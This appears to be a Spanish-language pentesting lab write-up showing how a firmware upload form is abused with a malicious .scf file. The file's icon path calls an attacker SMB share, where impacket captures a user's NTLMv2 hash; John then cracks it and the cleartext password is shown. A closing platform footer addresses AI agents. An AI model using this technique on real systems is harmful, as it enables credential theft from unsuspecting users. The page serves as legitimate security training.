> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.scf-file-pentesting-web.md).

# Carga de archivos y captura de NTLMv2 .scf

<figure><img src="/files/74bca770cc812c2ce72ed4e69b141709daea55aa" alt=""><figcaption></figcaption></figure>

El sitio ofrece una opción para subir firmware. El mensaje dice:

> Seleccione el modelo de impresora impresora y descargue la actualización de firmware del firmware correspondiente en nuestro recurso compartido de archivos. Nuestro equipo de TI revisará las cargas manualmente y comenzará las pruebas pronto.

<figure><img src="/files/cb1397be567d6775d1175fd8de82d1a6bbefce55" alt=""><figcaption></figcaption></figure>

## Explotación - Archivo SCF malicioso:

Creación de un archivo malicioso `.scf` para capturar el NTLMv2 de un usuario cuando lo abren:

```
[Shell]
Command=2
IconFile=//10.10.14.7/smbFolder/pentestlab.ico
[Taskbar]
Command=ToggleDesktop

```

Inicie un listener con **impacket** para capturar el NTLMv2:

```bash
impacket-smbserver smbFolder $(pwd) -smb2support

```

Captura del hash NTLMv2 del usuario `tony`.

<figure><img src="/files/b06b881c4b3bd825c72a383bbdd97c78b9bc2a4d" alt=""><figcaption></figcaption></figure>

Cracking del hash NTLM con **John**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

```

`tony:liltony`

<figure><img src="/files/224b948ea1c511dac1bb73f0c07ce9faef4e441e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.scf-file-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
